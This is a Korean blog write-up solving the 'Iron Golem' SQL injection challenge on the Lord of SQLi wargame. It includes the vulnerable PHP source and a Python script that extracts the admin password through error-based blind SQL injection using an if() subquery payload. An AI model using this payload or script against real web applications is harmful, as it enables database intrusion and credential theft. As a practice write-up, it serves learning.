본문 바로가기

wargame/LOS

[LOS]21번 IRON GOLEM

IRON GOLEM



21번 문제

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  // sleep, benchmark 필터링

  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit(mysql_error());
  // error가 발생하면 에러 원인을 보여줌
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>



sleep, benchmark가 필터링되었으므로 time based sql injection은 아니다
error가 발생하면 exit 한다는 점이 특이하다.

우선 기본적인 sql injection을 시도했다.

addslashes 함수로 인해 당연하지만 실패

우선 addslashes 함수를 우회해보고자 %a1을 넣어 멀티바이트를 넣으려고 했다.

에러를 출력하며 실패

에러를 노출하므로 error based sql injection이라고 추측했다.
다양한 방식으로 시도해보았다.


여러 방식으로 시도해보던 도중에 if문을 이용해 blind sql injection을 할 수 있었다.

if문을 써 조건이 참이면 에러를 발생시킨다. 조건이 참일 때와 거짓일 때를 구분할 수 있으므로 blind sql injection을 할 수 있다.

우선 pw의 길이를 알아보았다.


pw의 길이는 16이다.

마찬가지 방법으로 pw의 첫 번째 글자를 알아내보았다.

0이다. 이전의 19번 문제처럼 답이 멀티바이트 문자일 가능성이 있다.

ascii 함수 대신 ord 함수를 써 첫 번째 글자를 알아냈다.

첫 글자는 33으로 !이다.

from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
 
if __name__=="__main__":
 
    for i in range(1, 5):
        for j in range(1, 255) : # 아스키 코드의 범위
            query = "' or id = 'admin' and if(ord(substr(pw, "+str(i)+", 1))="+str(j)+", (select 1 union select 2), 1)#"
            params = {"pw": unquote(query)}
            cookies = {"PHPSESSID" : ""}
            response = requests.get('https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php', cookies = cookies, params = params)
            html = response.text
            
            find = re.findall("Subquery returns more than 1 row", html)
            if find:
                print(chr(j), end="")
                break


답을 알아냈다.

문제 해결!

'wargame > LOS' 카테고리의 다른 글

[LOS]22번 DARK EYES  (0) 2019.08.26
[LOS]20번 DRAGON  (0) 2019.08.16
[LOS]19번 XAVIS  (0) 2019.08.15
[LOS]18번 NIGHTMARE  (0) 2019.08.15
[LOS]17번 SUCCUBUS  (0) 2019.08.09